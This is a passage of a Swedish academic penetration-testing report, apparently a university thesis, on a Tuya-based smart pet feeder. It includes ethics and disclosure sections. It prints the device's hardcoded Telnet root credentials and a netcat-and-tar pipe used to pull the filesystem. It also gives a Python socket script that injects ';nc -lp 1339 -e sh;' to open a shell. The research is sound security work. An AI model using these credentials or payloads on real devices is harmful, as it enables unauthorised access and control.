aterupprattas och det kom upp en och annan stillbild, en hackig videosekvens eller
att utfodringen ibland fungerade, sa stordes systemet helt klart av all trafik. Majori-
teten av testerna resulterade dven i att foderautomaten tillslut gick offline och blev
darmed helt otillgdnglig for anvandaren. Resultaten visar att systemet ar sarbart mot
ICMP flood-attacker och inte har nagra implementerade sikerhetsatgiarder som till
exempel blockerande av ping-meddelanden eller en grans pa hastigheten av inkom-
mande paket.

Resultaten ar valida och testerna anses vara reliabla tack vare testets enkelhet dar
det enda som kriavdes var enhetens IP-adress och uppkoppling mot samma natverk
for hping3 att starta attacken. Det ar inte undersokt om enheten ar sarbar mot andra
flodesattacker, nagot som skulle kunna undersokas i en senare studie.
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7.2.6 Fjarrinloggning via Telnet
7.2.6.1 Introduktion

Under hotmodelleringen scannades foderautomaten efter 6ppna portar och man
fann att enheten hade en Telnet-server som lyssnade pa port 23. Inledningsvis pla-
nerades en l6senordsknickningsattack for att fa atkomst till enheten, men i ett for-
sok att oppna upp en Telnet-session printades bannern “petwant login”, och vid ana-
lys av trafiken till/fran enheten i Wireshark benimndes enhetens MAC-adress som
”Shenzhen_ A5:54:83”, vilket misstanktes vara samma maéarke (Shenzhen Petwant
Pet Products) som for en av de foderautomater ISE lyckades logga in till genom Tel-
net, beskrivet i sektion 5.1. Malet med attacken ar att unders6ka om samma anvan-
darnamn och l6senord kan ge root-access till foderautomaten Trixie TX9. Attackvek-
torn som utforskas ar osidkra natverkstjanster och svaga/lackta inloggningsuppgif-
ter.

7.2.6.2 Metod

Foderautomaten och Parrot kopplades upp till samma nétverk och i en terminal kor-
des kommandot “telnet 192.168.10.151”. I inloggningspromten angavs anvandar-
namnet “root” och losenordet “059AnkJ”.

Ytterligare inloggningsforsok gjordes for att undersoka hur systemet svarade vid fel-
aktiga inloggningsuppgifter.
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7.2.6.3 Resultat

Inloggning via Telnet med anviandarnamnet "root” och l6senordet "059AnkJ” gav
access till systemets skal.

]=[user@parrot

$telnet 192.168.10.151
Trying 192.168.10.151...
Connected to 192.168.10.151.
Escape character is '*]'.

petwant login: root
Password:
[root@petwant:~]# whoami
root
[root@petwant:~]# 1s
bil t Linuxre

[root@petwant:~]# | |

Figur 18: Root-access till foderautomaten genom Telnet

Servern lyssnade efter input i 60 sekunder och tillat 3 felaktiga inloggningsforsok
innan anslutningen brots.

7.2.6.4 Diskussion

Foderautomaten hade samma anviandarnamn och losenord som for den tidigare
hackade Petwant-enheten. Trots att Petwant informerats av ISE om de funna sarbar-
heterna under varen 2019 [51] har inga atgiarder vidtagits for foderautomaten Trixie
TXo9. Sarbarheten ar allvarlig och kan utnyttjas for vidare exploatering av systemet
eller i DDoS-attacker.

7.2.7 Nedladdning och analys av firmware

7.2.7.1 Introduktion

Attackvektorn for penetrationstestet ar demontering. Via Telnet-tjansten kan hela
filsystemet nas i skalet. Systemet kor BusyBox vi.22.1 som tillhandahéller olika
Unix-verktyg i en enda exekverbar fil. Malet med attacken ar undersoka om det ar
mojligt att anvianda dessa verktyg for att ladda ner filsystemet och vidare analysera
det efter hardkodade hemligheter och intressanta filer.
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7.2.7.2 Metod

Ett skal 6ppnades genom att logga in till foderautomaten via Telnet. Med netcat och
tar, som tillhandaholls av BusyBox pa enheten och som fanns installerade pa Parrot,
oppnades en “tar pipe” for att 6verfora filsystemet till Parrot.

Pa mottagarsidan i Parrot kordes foljande kommando for att lyssna pa input pa port
9000 och som sedan extraherades med tar:

nc -1 9000 | tar x

Pé siandarsidan i skalet skapades en komprimerad tar-fil av varje mapp som skicka-
des till Parrot genom kommandot:

tar cf - folder | nc 192.168.10.230 9000

Skriptet firmwalker anvandes for att soka igenom det nedladdade filsystemet efter
intressanta filer baserat pa filtyp, innehéall av URL:s eller mailadresser, eller baserat
pa nyckelord som till exempel "admin”, "password” och “remote”. Strings-komman-
dot kordes i sin tur pa bland annat skript-, konfigurations-, 16senords-, databas- och
en del binara filer for att l1asa och analysera textinnehallet i dem. Databasfilerna och
de binira filerna for programmen som lyssnade pa de 6ppna portarna (se Tabell 5,
sektion. 6.2.3) analyserades i programmet binwalk for att undersoka vilket korbart
och lankat format (ELF) filerna var och for att berdkna filernas entropi, som indike-

rar om en fil 4r komprimerad eller krypterad.

Den binara tuya-filen demonterades och dekompilerades i Ghidra. For att hitta in-

» »

tressanta funktioner gjordes sokningar i filerna pa sokord som “scanf”, "strcpy”, "sy-

» » »

cmd”, “firmware”, "server”, "port” och “main”.

» »

stem”,
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7.2.7.3 Resultat

Med firmwalker kunde viktiga filer lokaliseras i filsystemet, diar bland annat 16sen-
ords-, konfigurations-, initierings- och skriptfiler. Inga direkta sarbarheter kunde

hittas i dessa filer.

@parrot
#./firmwalker.sh /home/user/Desktop/fs
***Firmware Directory***
/home/user/Desktop/fs
***Search for password files***
HERHBHBABRERHEHERERRGRBRRRARABA#ERHHHE passwd

s/usr/bin/passwd
s/etc/passwd

R R R R R R RN AR R R R ER#E shadow
s/etc/shadow

Figur 19: Analys av filsystemet med firmwalker

Det fanns tvd databasfiler, tuya_user.db och tuya_enckey.db, som inte gick att
oppna. Man kunde daremot se att tuya_user.db inneholl bland annat strangarna
"p2p_pwd” och "p2p2_auth_info” vilket hintade om vilken typ av information som

filen inneholl.

Entropy Entropy

Entropy
Entropy

0.00 0.25 0.50 0.75 1.00 1.25 0 5000 10000 15000 20000 25000 30000
Offset le6 Offset
Figur 20: Entropi av tuya-filen Figur 21: Entropi av tuya_user.db-filen

Inga av de binara filerna var krypterade och kunde vidare analyseras i Ghidra.
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I Ghidra analyserades framst Tuya-filen. En del funktioner var namngivna och en
del funktioners syfte var relativt uppenbara och enkla att folja och forsta. Inga up-
penbara sarbarheter kunde hittas av analysen.

: Decompile: FUN_00471f3¢c - % ] B v X

else {

iVar2

sprintf(__s,"{\"ip\":\"%s\",\"gwId\":\"%s\"",&local_58,1ivarl -
sprintf(__s + ivar2,",\"active\":%d,\"ablilty\":0",uvar6);
puvarS = (undefinedd4 x)( s + iVar3 + iVar2);
iVar3 iVar3 + iVar2 + 0xf;
xpuVar5 = 0x6e65222c;
puvar5[1] 0x70797263;
puvars[2] 0x743a2274;
puvVar5[3] 0x657572;
sprintf(__s + ivar3,",\"productKey\":\"%s\"",ivarl + 0x1d9);
iVar3 + iVar2;
ivarl = sprintf(__s + ivar3,",\"version\":\"%s\"",iVarl + 0x19a);
puvar5S = (undefinedd4 %x)( s + iVar3 + iVarl);
xpuVar5 = 0x6174222c;
puvar5[1] = 0x226e656b;
puVar5[2] = 0x7572743a;
*(char %) (puvar5 + 3) = 'e';

ivVar3

ST

iVar2

ivVar3

Figur 22: Dekompilerad funktion for sandning av UDP-meddelanden av enhetsinformation pa
natverket i verktyget Ghidra

Delar av resultatet presenteras dven i sektion 6.3.2.

7.2.7.4 Diskussion

Penetrationstestet syftade till att hitta kinslig information eller sarbarheter i
firmwaren. Filsystemet gick att ladda ner med netcat och tar som fanns installerade
pa foderautomaten genom BusyBox. Det ar varken konstigt eller forvanande att fo-
derautomaten kor BusyBox, liksom manga IoT-enheter med begriansade resurser
gor. BusyBox forser systemet med anvandbara verktyg men kan ocksa anviandas for
att ladda upp skadlig kod, 6ppna bakdorrar, dndra i konfigurations- och skriptfiler,
utnyttja i DDoS-attacker eller som i detta test — ladda ner hela filsystem.

Inga sarbarheter kunde hittas i konfigurations-, initierings- eller skriptfilerna men
det ar vart att namna att root-anviandaren hade skrivrattigheter for dessa filer och en
angripare saledes skulle kunna dndra och kontrollera vad som sker niar systemet
startar upp. IoT-enheter med BusyBox (och framst 6ppna Telnet-tjanster) har tidi-
gare varit mal for storre cyberattacker, beskrivet i sektion 5.5, vilket skapar oro kring
att en foderautomat som Trixie Tx9 kan drabbas i framtida attacker. Onodiga verktyg
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i BusyBox skulle kunna inaktiveras for att férhindra nedladdning av filsystemet eller
andra attacker pa enheten.

De binira filerna var inte krypterade och kunde dekompileras i Ghidra. P4 grund av
filernas storlek och tidsbrist kunde inga djupare analyser goras av dem, vilket ar en
anledning till att inga direkta sarbarheter hittades. Metoden for analysen av tuya-
filen kan darfor anses ofullstandig och resultatet opalitligt da det inte gar att besvara
om den innehaller sarbarheter och vilka de i sa fall ar. Det krdavs bade mer tid och
utvecklade, systematiska metoder samt kunskap om Ghidra for att uppna tillforlit-
liga och valida resultat.

7.2.8 Oppna portar och fjarrkérning av kod
7.2.8.1 Introduktion

Attackvektorn som undersoks ar osidkra nitverkstjanster och en typ av injektions-
attack. Foderautomaten har flera 6ppna portar, vilka listas i Tabell 5, sektion. 6.2.3.
Varken servern eller Tuya Smart kommunicerar med nagon av de 6ppna portar en-
ligt analys av dataflodet som gjorts under hotmodelleringen. Flera inlagg pa diverse
forum och biblioteket TuyAPI [64] vittnar om att port 6668 anvinds for att kommu-
nicera med andra Tuya-enheter pa samma natverk. Coosa Control ar ett skript for
att skicka kommandon till ett Tuya Smart-kompatibelt smart uttag pa port 6668.
[101]

Malet med penetrationstestet ar att undersoka hur nitverkstjansterna reagerar pa
input. For port 6668 (Tuya-programmet) ar malet att se om programmet ar sarbar
for kommandoinjektioner, baserat pa attackerna och fynden gjorda av ISE [51] och
Coosa Control.

7.2.8.2 Metod

Foderautomaten, Parrot och Mac kopplades upp till Wi-Fi och i Parrot startades
Wireshark for att 6vervaka trafiken mellan datorn och foderautomaten. En terminal
per port oppnades dar en forbindelse sattes upp till porten med hjalp av nc/netcat.
Slumpvis input skickades till de portar som tilliat. Darefter startades Tuya Smart for
att kontrollera om foderautomaten fungerade som normalt.

I ett ytterligare test skickades ett kommando till port 6668 i ett férsok om att 6ppna
en bakdorr till systemet utan krav pa autentisering. Attacken kordes 50 ganger med
foljande skript:
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addr = ("192.168.10.151", 6668)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)

s.sendto(b';nc -1lp 1339 -e sh;"', addr)

7.2.8.3 Resultat

Tabell 12: Portarnas beteende vid forbindelse med nc/netcat

Portnummer Service Resultat

6668 tuya Det gar att skicka input till proces-
sen men porten stings efter ca 30
sekunder. Videoflodet strommar
normalt i Tuya Smart.

8000 sample- Terminalen fylls med tecken. Vi-
Encoder-Video | deoflodet gar inte att se i Tuya
Smart. Efter 10 minuter strommas
videoflodet som vanligt.

8001 sample-Ai Terminalen fylls med ”?”-tecken.
Videoflodet strommar normalt i
Tuya Smart.
8002 sample-Ao Det gar att skicka input till proces-
sen. Videoflodet strommar normalt
i Tuya Smart.
8003 sample- Det gar att skicka input till proces-
Encoder-Video | sen. Videoflodet strommar normalt
i Tuya Smart.
8004 sample- Det gar att skicka input till proces-

Encoder-Video | sen. Videoflodet strommar normalt
i Tuya Smart.
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8005 sample-Ao Det gar att skicka input till proces-
sen. Videoflodet strommar normalt
i Tuya Smart.

8006 sample-Ai Det gar att skicka input till proces-
sen. Videoflodet strommar normalt
i Tuya Smart.

8007 sample- Det gar att skicka input till proces-

Encoder-Video | sen. Videoflodet strommar normalt

i Tuya Smart.

Dynamisk UDP port | tuya Det gar att skicka input till proces-
sen. Videoflodet strommar normalt

0:0:0:0:portnum- 1 Tuya Smart.

mer

Dynamisk UDP port | tuya Porten gar inte att na.

localhost:portnum-

mer

Dynamisk UDP port | tuya Det gar att skicka input till proces-

192.168.10.151:port-
nummer

sen. Videoflodet strommar normalt
i Tuya Smart.
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Fjarrkorning av kommandot startade nc/netcat pa foderautomaten som lyssnade ef-
ter inkommande anslutningar pa port 1339. Endast 1 av 50 test lyckades.

Figur 23: Fjarrkdrd kommandoinjektion startade upp nc/netcat att lyssna pa port 1339

7.2.8.4 Diskussion

Syftet med penetrationstestet var att undersoka hur portarna hanterade inkom-
mande input. Outputen fran port 8000 skulle kunna vara det krypterade videoflodet
i och med processens namn och att videoflodet slutade stromma till Tuya Smart, men
en sddan slutsats kan inte dras av resultaten. For att ta reda pa vad for input de 6ppna
portarna lyssnar efter, eller vad outputen pa port 8000 och 8001 egentligen ar, kravs
djupare analys av de binira filerna for respektive program. D4 ingen observerad tra-
fik till och fran portarna har gjorts finns en risk att de ar 6ppna i onodan, vilket ar en
sarbarhet som kan utnyttjas for att komma &t systemet. Resultatet av testet for port
8000 resulterade ovantat i en DoS-attack, men enheten gick online igen efter ett par
minuter. I ISE:s penetrationstester och i Coosa control-skriptet kunde kommandon
skickas till port 6668 tack vare att man visste vilken typ av data som programmen
lyssnade efter, vilket inte ar fallet for foderautomaten Trixie TX9. Fjarrkorning av
kommandot forvantades darfor inte lyckas, men ett av femtio test lyckades 4nda. Da
resultatet inte gick att reproducera anses metoden ha mycket l1ag reliabilitet och re-
sultatet 1ag trovardighet. Trots det ar det tydligt att de 6ppnar portarna kan utnyttjas
for att stora systemet. For att ta reda pa vad for data tuya-programmet lyssnar efter
och accepterar pa port 6668 kriavs mer omfattande, vilplanerade metoder som giarna
bygger pa narmre undersokning av den binara Tuya-filen.

7.2.9 MITM pa firmware-uppdatering
7.2.9.1 Introduktion

Tidigare penetrationstester gav full atkomst till Trixie TX9 genom dess 6ppna Tel-
net-tjanst. Hade Telnet-tjansten inte haft en avsléjande banner och 16senordet inte



70 | PENETRATIONSTESTNING

redan blivit knackt och publicerats pa internet ar det inte sidkert att en angripare
skulle lyckas fa root-access 6ver systemet och ges mojlighet att ladda ner filsystemet
till sin lokala dator. Darfor undersoks om foderautomatens firmware-uppdatering
skickas over okrypterad kanal - fritt for en angripare att ladda ner eller modifiera
under uppdateringsprocessen. Attackvektorn som undersoks ar spoofing och MITM,
och malet med attacken ar att undersoka om firmware-uppdateringen skickas 6ver
okrypterad kanal.

7.2.9.2 Metod

Mobilen med Tuya Smart, Parrot och foderautomaten kopplades upp till samma nat-
verk. I Parrot aktiverades vidarebefordring av IP-paket och i ettercap kordes en ARP
poisoning-attack mot routern och foderautomaten. Trafiken till/fran foderautoma-
ten 6vervakades i Wireshark samtidigt som firmware-uppdateringen begirdes i mo-
bilapplikationen. Testet upprepades vid 2 tillfallen da ny firmware-version fanns till-
ganglig for nedladdning.
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7.2.9.3 Resultat

Foderautomaten kontaktade servern pa 18.197.251.244 och 52.29.99.0 for att ladda
ner den nya firmwaren. Trafiken mellan enheten och servern skickades 6ver TLSv1.2.

No. ~ | Time Source Destination Protocol Length | Info

I‘ 1150 66.108832233 192.168.10.151 18.197.251.244 TLSv1.2 210 Client Hello

1152 66.111449075 192.168.10.151 18.197.251.244 TCP 66 53688 - 1443 [ACK] Seq=1 Ack=1 Win=14600 Len=0 TSval=7630 TSecr=22.. |
1443 - 53688 [ACK] Seg= 5 Wi 032 Len=0 TSval: 7 - |

TC CK 1159#1] 14 a8 S A 5

TCP C \CK 1172#1] 536
Client Key Exchange i
18.197.251.244 192.168.10.151 TCP 66 1443 - 53688 [ACK] Seq=2467 Ack=220 Win=28032 Len=0 TSval=22004792.. |

1182

1183 ¢ 18.197.251.244 6 [TCP Dup ACK 1182#1] 1443 - 53688 [ACK] Seq=2467 Ack=220 Win=280
1184 192.168.10.151 18.197.251.244 Change Cipher Spec, Encrypted Handshake Message t
1186 67.949413577 18.197.251.244 192.168.10.151 TCP 66 1443 - 53688 [ACK] Seq=2467 Ack=311 Win=28032 Len=0 TSval=22004792.. |
1187 67.949768854 18.197.251.244 192.168.10.151 TLSv1.2 157 Change Cipher Spec, Encrypted Handshake Message

1188 67.951141870 18.197.251.244 192.168.10.151 TCP 66 1443 - 53688 [ACK] Seq=2467 Ack=311 Win=28032 Len=0 TSval=22004792..
1190 67.953346496 192.168.10.151 18.197.251.244 TCP 66 53688 - 1443 [ACK] Seq=311 Ack=2558 Win=17496 Len=0 TSval=7815 TSe.. ;
1191 67.954661582 192.168.10.151 18.197.251.244 TLSv1.2 311 Application Data 1
1192 67.958100165 192.168.10.151 18.197.251.244 TCP 66 53688 - 1443 [ACK] Seq=311 Ack=2558 Win=17496 Len=0 TSval=7815 TSe.. [
1104 AR.A205A3275 1R.107.251.244 192.168.10.151 TCR AR 1443 - 53RRR [ACK] Sen=?558 Ack=55A Win=20A5A |en=A TSuval=220A4793

SErver Name (IST (engtnt
Server Name Type: host_name (0)
Server Name length: 19

Server Name: fireware.tuyaeu.com

Figur 24: Firmwaren gar inte att modifiera eller lasa under uppdateringen

I 1651 352.4066803.. 18.197.251.244 192.168.10.151 TLSv1.2 1514 [TCP ACKed unseen segment] , Application Data [TCP segment of a reassembled PDU]

» [21 Reassembled TCP Segments (16453 bytes): #1629(1448), #1630(1448), #1641(1448), #1631(1448), #1642(1448), #1632(1448), #1643(1448), #1633(1448), #1644(1448), #1634(1448)
v Transport Layer Security
v TLSv1.2 Record Layer: Application Data Protocol: Application Data
Content Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 16448

Encrypted Application Data: 0a32bca9f! 7 19210bcc74849710e730317691db24d34b015001...
0000 17 @3 @3 40 40 0a 32 bc a9 f5 30 d5 4a a8 68 4e “rEe2 2-J-hN
© 77 e3 99 6b 3a 19 21 @b cc 74 84 97 10 e7 30 3f w--k:-! t 0?7
© 76 91 db 24 d3 4b 01 50 ©Of cb 23 51 66 7a 31 de v $-KP --#Qfzl
0 c5 7e 7a 94 42 dc @e ad 36 5a 19 cd 9d a6 e7 20 ~z'B 6Z
b5 8d e4 b4 ad 86 eb dc 15 54 2f 3b of 40 e3 17 T/;@
cf 86 56 7c b@ ea 9c 79 89 c7 3d e3 1b 81 4b 79 | y =
a1 81 42 54 4r 7h da hQ R a8 2] 27 2] A 2 Aa RTI L 0712

Figur 25: Foderautomaten upprattar en TLS-férbindelse med servern for hostadressen
firmware.tuyaeu.com

7.2.9.4 Diskussion

Penetrationstestets syfte var att undersoka om firmwaren skickades 6ver okrypterad
kanal och om den gick att ldsa eller modifiera ”i luften”. Firmware-uppdateringen
V2.2.60.18 skickades 6ver TLSv1.2, vilket forhindrade informationsavsléjande och
kodmanipulering under uppdateringsprocessen. I den senaste versionen fanns inga
uppenbara sidkerhetsatgiarder gjorda for att till exempel forhindra atkomst till filsy-
stemet genom att inaktivera Telnet-tjansten eller andra losenord.

Resultatet ar tillforlitligt och forvantat, da all tidigare observerad kommunikation
mellan foderautomaten och Tuya skett 6ver krypterad kanal.
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8 Hallbarhet och etik

En etisk hackare jobbar i uppdrag av ett foretag som getts behorighet att hacka or-
ganisationens resurser utifran givna villkor och avgransningar, vilka méaste siker-
stilla att arbetet kan ske inom ramen for interna och externa regelverk. Upptackta
sarbarheter kan sedan rapporteras och offentliggoras pa tva sitt: genom fullt offent-
liggorande (eng. full disclosure) och ansvarsfullt offentliggorande (eng. responsible
disclosure).

Med fullt offentliggéorande menas att alla sarbarheter offentliggors sa snabbt som
majligt. A ena sidan informeras konsumenter och andra intressenter fort, som kan
agera genom att ta stillning och stilla krav. Detta kan mer eller mindre tvinga till-
verkaren att snabbt vidta dtgirder eftersom det annars kan skada varumirket. A
andra sidan finns det en risk att illvilliga hackare utnyttjar sarbarheten innan den
hunnits atgiardas, vilket kan riskera privatpersoners och foretags integritet och sa-
kerhet.

Ansvarsfullt offentliggorande innebar istéllet att den etiska hackaren kontaktar fo-
retaget eller utvecklare och kommer overens om ett tidsspann for vilket de ansvariga
far pa sig att atgarda sarbarheterna innan sarbarheterna publiceras offentligt.

Studien har f6ljt en metod framtagen for etisk hackning och penetrationstestning
och har tagit hansyn till den svenska lagen. Dataintrang ar ett brott enligt Brottsbal-
ken 4 kap. 9c § [102] varfor endast forfattarens eller KTH:s egendom har penetrat-
ionstestats. Inga molntjanster, servrar eller andra foderautomater har varit mal for
studien. Vidare har alla tester utforts pa forfattarens privata natverk.

Bade Trixie och Tuya kontaktades i borjan av studien for att informera om det kom-
mande arbetet. Inget av foretagen visade intresse eller ville fora en dialog kring sa-
kerheten i deras produkter vid tillfallet. Efter samtliga penetrationstester var utforda
och resultaten sammanstillda kontaktades Trixie for att diskutera ansvarsfullt of-
fentliggorande av funna sarbarheter. Den 14 april 2021 delgavs Trixie information
om sarbarheterna och parterna kom 6verens om att rapporten publiceras tidigast 9o
dagar efter delgivningen. Under denna tid planerar Trixie att atgdrda de hardkodade
inloggningsuppgifterna for Telnet-tjansten och fortsattningsvis uppdatera dem 1—2
ganger per Aar.

Studien har inte haft nagon storre negativ paverkan ur ett ekologiskt, socialt eller
ekonomiskt hallbarhetsperspektiv. Foderautomaten har forstas satt ekologiska fot-
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spar i tillverkning och mindre stromforbrukning, men kan ateranvindas i kom-
mande undersokningar. Istéllet hoppas studien kunna bidra till 6kad medvetenhet
om sikerhetsriskerna i IoT-enheter och ocksa bidra till utfasning av osakra produk-
ter pad marknaden.
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9 Ekonomiska orsaker till osaker loT

Det finns flera anledningar till varfor IoT-sakerhet ar svart och varfor vi ar omgivna
av osidkra enheter. IoT-enheter har ett komplext ekosystem med manga komponen-
ter och aktorer som samspelar, dar sikerheten maste implementeras i alla led for att
fa onskad effekt. IoT-enheter gloms ofta bort efter installation, brist pa anvandar-
granssnitt forsvarar monitorering och underhéll och osdkra uppkopplingar mot in-
ternet gor dven de “sdkra” enheterna sarbara. En annan orsak ar att livslangden for
uppkopplade enheter i regel ar lang, vilket gor att sarbara enheter sédllan byts ut. Om
de dessutom saknar uppdateringsmekanismer kan sarbarheterna aldrig atgardas.
Den framsta orsaken till att vi har ett omfattande problem med sarbara IoT-enheter
pa marknaden ar dock av ekonomisk karaktar.

En ekonomisk faktor till osdker IoT ar asymmetrier inom IoT-marknaden, dar bland
annat asymmetrisk information. [103][104][105] Asymmetrisk information syftar
till nir tva parter i en ekonomisk transaktion har olika forhandsinformation, ofta
sdljare och kopare. Konceptet, 4ven kiant inom ekonomin som "The Market for Le-
mons” [106], leder till att koparna blir ovilliga att betala for kvalitet de inte kan mata,
som i sin tur skapar ett snedrivet urval pd marknaden. Inom IoT innebar det att kon-
sumenter inte kan skilja pa siakra och osidkra enheter. Det kan bero pa bristande in-
formation innan eller efter ett kop eller for att en tidigare ansedd siaker produkt se-
dan visat sig vara sarbar for attacker. Manga konsumenter ar omedvetna om riskerna
IoT for med sig och saknar kunskap om vad god cybersidkerhet innebar samt saknar
forstdelse for teknisk terminologi, vilket hindrar dem fran att gora medvetna val. Fo-
retag som satsar pa siakerhet blir siledes inte belonade nar konsumenterna istillet
viljer billigare alternativ som inte séllan har bristande sikerhet.

I en konsumentundersokning uppgav 98% av de tillfragade att de ar villiga att betala
mer for siakerhet. [107] Sdkerhet och integritet ar viktigt for de allra flesta men pa
grund av asymmetrier pa IoT-marknaden uppstar den s kallade sekretesspara-
doxen (eng. privacy paradox). Sekretessparadoxen ar skiljaktigheten mellan indivi-
dens avsikter i att skydda sin integritet och hur de faktiskt beter sig. [108][109] Pa-
radoxen uppstar nar individer koper och anviander IoT-enheter som utgor en risk
mot deras sdkerhet och integritet, trots att de skulle uppger sig varna om det. Manga
anvandare ar alltsa oroade for sin integritet men gor lite for att skydda sina data.

Nir konsumenterna viljer funktionalitet 6ver sikerhet blir det mer l1onsamt for IoT-
leverantorerna att fokusera pa snabba lanseringar av nya funktioner till ett pressat
pris, ofta med sma marginaler. D& krivs prisvirda hardvarukomponenter som
ibland saknar formagan att stodja viktiga sikerhetsimplementationer. Vidare kravs
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snabba lanseringar for att ta och behélla marknadsandelar, och innebar ocksa
mindre tid for testning. IoT-enheter tillverkas inte sillan av tredjepartsleverantorer
som helt saknar kapital, erfarenhet och expertis som ar nodvandigt for att skapa
siakra produkter.

En annan ekonomisk faktor dr motstridande incitament (eng. misaligned incenti-
ves). [103][104] Nar sarbara enheter attackeras ar det sillan IoT-leverantorerna
sjalva som drabbas, utan istéllet ar det anvandare och samhaéllet som far betala det
hoga priset nar sarbarheter utnyttjas for till exempel kontostold, bedrageri eller in-
brott. For attacker riktade mot en tredje part hamnar kostnaden varken péa leveran-
torer eller anviandare. Det blir en sa kallad (negativ) extern effekt [103][104][105]
dar leverantorernas osdkra produkt och konsumenternas val att anvinda dem ska-
dar andra och gor internet osdkert. Detta leder till ett marknadsmisslyckande och
leverantorerna saknar motivation for att ta fram siakra produkter eller atgarda sar-
barheter. Anvindarna blir ovilliga att sdkra upp eller byta ut enheter om attacken
inte har en direkt padverkan pa dem sjilva, och ar inte sillan helt omedvetna att deras
enheter utnyttjats eller exempelvis blivit rekryterade till ett botnét.

Det finns en osidkerhet i vilka kostnader och fordelar 6kad IoT-sidkerhet for med sig
som paverkar utvecklingen och implementeringen av detta. [104][110] Om det ar
svart att kvantifiera kostnader och fordelar till f6ljd av starkare/svagare sikerhet och
integritet blir det ocksa svart for foretag att rattfardiga en sadan investering. Lag-
stiftningar och regelverk kan ocksa gora det svart att uppskatta och mata dessa kost-
nader och fordelar for saval privatpersoner som samhallet i helhet.

Fordelar inkluderar bland annat reducerad juridisk risk, reducerade kostnader for
dataintrang, 6kat kundfortroende och rykte, farre attackvektorer mot anviandare, af-
farsmojligheter och konkurrensfordelar. Tankbara kostnader och kritik mot regle-
ringar och ramverk for att 6ka sdkerheten ar att det kommer himma den ekonomiska
tillvaxten och innovationen av IoT. [111]

Det kan ocksa finnas en ovilja fran tillverkare att utlova att en enhet ar siker, ef-
tersom det kraver kontroll i alla delar av forsorjningskedjan. Om sidkerheten bryts
nagonstans i kedjan kan det innebara hoga (juridiska) kostnader som kan vara for-
odande for mindre foretag. En annan problematik kring att klassa en enhet som sa-
ker ar att det helt enkelt saknas standarder for vad som definieras som “siker 1oT”
och darmed inga certifieringar eller markningar att tilldela sidkra eller osdkra pro-
dukter. Vidare ar sikerhet inte ett statiskt tillstdnd utan i standig utveckling, vilket
gor det svart for langlivade enheter att leva upp till sakerhetskrav flera ar framat i
tiden.
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Sakerhetsspecialisten Bruce Schneier tror inte att det finns en marknadslosning pa
problemet. [112] Han menar pa att de externa effekterna resulterat i att konsumenter
och leverantorer inte lagre bryr sig tillrackligt mycket for att en forandring ska ske.
Konsumenterna kommer fortsatta kopa billiga varor och leverantorerna drivas av
snabba lanseringar som skapar marknadsandelar. Schneier foresprakar istallet stat-
liga dtgarder som tvingar IoT-tillverkarna att ta fram sakra produkter.

Under de senaste dren har flera lagar rorande IoT-sdkerhet tratt i kraft runt om i
varlden. I Kalifornien och Oregon i USA maste numera alla uppkopplade enheter
implementera “rimliga sikerhetsfunktioner”. [113][114] En annan lag faststaller mi-
nimikrav pa sikerhet for IoT-enheter som dgs eller kontrolleras av den amerikanska
staten. [115] I Storbritannien maste uppkopplade konsumentprodukter bland annat
ha unika 16senord, mjukvara som kan uppdateras och anvindare ges transparens
och kontroll 6ver anviandningen av deras data. [116][117] I Singapore har man nyli-
gen introducerat "Cybersecurity Labelling Scheme” for konsument-IoT, diar produk-
terna blir klassade enligt deras niva av sdkerhet. [118] Initiativet syftar till att 6ka
konsumentmedvetenheten om anvindningen av sidkrare produkter samt uppmana
tillverkare att vidta ytterligare cybersakerhetsatgarder, enligt kommunikations- och
informationsministern, Janil Puthucheary. [119] I EU finns ingen motsvarande lag
eller sakerhetsklassning, men European Union Agency for Cybersecurity (ENISA)
har nyligen tagit fram riktlinjer for att sikra IoT, riktat till samtliga parter i IoT:s
forsorjningskedja. [120]

Cybersiakerhet ma vara ett internationellt problem som nationella lagar inte kommer
kunna kontrollera pa egen hand, men nér flera sddana lagar verkstills tvingas till-
verkare och utvecklare att stalla om sin produktion for att ta fram sakrare produkter.
Schneier menar pa att statliga regleringar kommer gynna sikerhetsinnovation och
att det i langden kommer leda till att sdkerhet blir det billigare och sjalvklara alter-
nativet. [121]
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10 Resultat

Det hir kapitlet redogor for resultaten av penetrationstest 1—9 och sammanfattar de
upptackta sarbarheterna i Tabell 13.

Penetrationstest #1
SSID och l6senord till Wi-Fi samt region, token och hemlighet gick att avkoda fran
UDP-meddelandena som Tuya Smart sinde ut pa niatverket vid parningslége.

Penetrationstest #2

Mobilapplikationen Tuya Smart kommunicerade 6ver TLS och inga anvandarnamn
eller 16senord skickades i klartext. Senare version av Tuya Smart forhindrade avlyss-
ning av trafiken.

Penetrationstest #3

Wi-Fi-trafiken till/fran foderautomaten kunde analyseras for att avgora vilket till-
stdnd systemet var i. De distinkta tillstdnden var nar 1) videoflodet 6vervakades i
mobilapplikationen, 2) mobilapplikationen var avstingd och 3) foderautomaten
upptackte rorelse nar mobilapplikationen var avstangd och rorelsedetekteringen var
aktiverad.

Penetrationstest #4
Foderautomaten motstod Ping of death-attacker.

Penetrationstest #5

Foderautomaten var sarbar mot stora mangder snabbt inkommande datapaket
(ICMP echo requests) vilket resulterade i att foderautomatens funktioner stordes av-
sevart eller att foderautomaten kraschade och gick offline under en kortare period.

Penetrationstest #6

Inloggning via den oOppna Telnet-tjansten med hérdkodade, svaga
inloggningsuppgifter (anvindarnamnet "root” och losenordet "059AnkdJ”) gav root-
access till systemet.

Penetrationstest #7

Filsystemet gick att ladda ner med hjilp av BusyBox verktyg. Inga av de binara fi-
lerna var krypterade och kunde dekompileras for vidare analys. Inga uppenbara sar-
barheter kunde hittas i filsystemet.
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Penetrationstest #8
Nir port 8000 forsokte kontaktas slutade videoflodet strommas till mobilapplikat-
ionen. Port 6668 var vid ett tillfalle sarbar for fjarrkorning av systemkommandon.

Penetrationstest #9
Firmwaren skickades over krypterad kanal och gick inte att ladda ner eller modifiera
”i luften”.

Tabell 13: Sammanfattning av upptackta sarbarheter i Trixie TX9

ID | Sarbarhet Effekt

1 Otillracklig  kryptering av  par- | Informationsstold, atkomst till an-
ningstoken till Tuya Cloud och SSID | vindarens lokala natverk.
och 16senord till Wi-Fi.

2 MITM av Wi-Fi-trafik. Informationsavslgjande om syste-
mets tillstand.

3 ICMP-flodesattack. DoS.

4 Oppen Telnet-tjinst. Fjarratkomst till systemet.

5 Hardkodade, lackta inloggningsupp- | Root-access till systemet.
gifter som inte gar att andra.

6 Osidkra natverkstjanster. DoS, fjarrkorning av kod.
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11 Diskussion

